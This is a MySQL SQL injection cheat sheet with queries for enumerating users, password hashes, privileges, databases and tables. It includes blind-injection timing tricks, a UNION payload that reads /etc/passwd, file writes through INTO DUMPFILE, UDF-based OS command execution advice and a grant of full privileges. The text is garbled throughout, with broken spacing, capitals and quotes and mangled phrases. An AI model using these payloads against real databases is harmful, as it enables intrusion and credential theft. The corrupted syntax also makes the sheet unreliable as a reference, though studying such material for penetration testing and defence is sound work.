Version |
SELECT @ @version |
Comments |
SELECT 1; #comment SELECT/*COMMENT*/1; |
Current User |
SELECT user (); SELECT System_user (); |
List Users |
SELECT user from Mysql.user; -priv |
List Password Hashes |
SELECT host, user, password from Mysql.user; -priv |
Password Cracker |
John the Ripper would crack MySQL password hashes. |
List Privileges |
SELECT grantee, Privilege_type, is_grantable from Information_schema.user_privileges; -list User Privsselect Host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_pri V, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_ Priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv from Mysql.user; -priv, List User Privsselect grantee, TABLE_SCHEMA, privilege_type from Information_schema.schema_privileges; -list privs on databases (schemas) SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, Privilege_type from INFORMATION_SCHEMA.C Olumn_privileges; -list privs on Columns |
List DBA Accounts |
SELECT grantee, Privilege_type, is_grantable from information_schema.user_privileges WHERE privilege_type = ' SUPER '; SELECT host, user from mysql.user WHERE super_priv = ' Y '; # Priv |
Current Database |
SELECT database () |
List Databases |
SELECT schema_name from Information_schema.schemata; -for MySQL >= v5.0 SELECT DISTINCT (db) from Mysql.db-priv |
List Columns |
SELECT TABLE_SCHEMA, TABLE_NAME, column_name from Information_schema.columns WHERE table_schema! = ' MySQL ' and Table_sche Ma! = ' Information_schema ' |
List Tables |
SELECT table_schema,table_name from Information_schema.tables WHERE table_schema! = ' mysql ' and table_schema! = ' Informat Ion_schema ' |
Find Tables from Column Name |
SELECT TABLE_SCHEMA, table_name from information_schema.columns WHERE column_name = ' username '; -find table which has a column called ' username ' |
Select Nth Row |
SELECT Host,user from the user ORDER by host LIMIT 1 OFFSET 0; # Rows numbered from 0 SELECT Host,user from the user ORDER by host LIMIT 1 OFFSET 1; # Rows numbered from 0 |
Select Nth Char |
SELECT substr (' ABCD ', 3, 1); # returns C |
Bitwise and |
SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0 |
ASCII Value--Char |
SELECT char (65); # returns A |
Char, ASCII Value |
SELECT ASCII (' A '); # returns 65 |
Casting |
SELECT cast (' 1′as unsigned integer); SELECT cast (' 123′as char); |
String concatenation |
SELECT CONCAT (' A ', ' B '); #returns AB SELECT CONCAT (' A ', ' B ', ' C '); # returns ABC |
If Statement |
SELECT if (1=1, ' foo ', ' Bar '); -returns ' foo ' |
Case Statement |
SELECT case When (1=1) Then ' A ' ELSE ' B ' END; # returns A |
Avoiding Quotes |
SELECT 0x414243; # returns ABC |
Time Delay |
SELECT BENCHMARK (1000000,md5 (' A ')); SELECT SLEEP (5); # >= 5.0.12
|
Make DNS Requests |
Impossible? |
Command execution |
If mysqld (<5.0) is running as root and you compromise a DBA account you can execute OS commands by uploading a shared Object file Into/usr/lib (or similar). The. So file should contain a User Defined Function (UDF). Raptor_udf.c explains exactly how to go about this. Remember to compile for the target architecture which, may or may not be the same as your attack platform. |
Local File Access |
...’ UNION all SELECT load_file ('/etc/passwd ')-priv, can is only read world-readable files. SELECT * FROM mytable into dumpfile '/tmp/somefile '; -priv, write to file system |
Hostname, IP Address |
SELECT @ @hostname; |
Create Users |
CREATE USER test1 identified by ' pass1′; -priv |
Delete Users |
DROP USER test1; -priv |
Make User DBA |
GRANT all privileges on * * to [email protected] '% '; -priv |
Location of DB files |
SELECT @ @datadir; |
Default/system Databases |
INFORMATION_SCHEMA (>= MySQL 5.0) Mysql |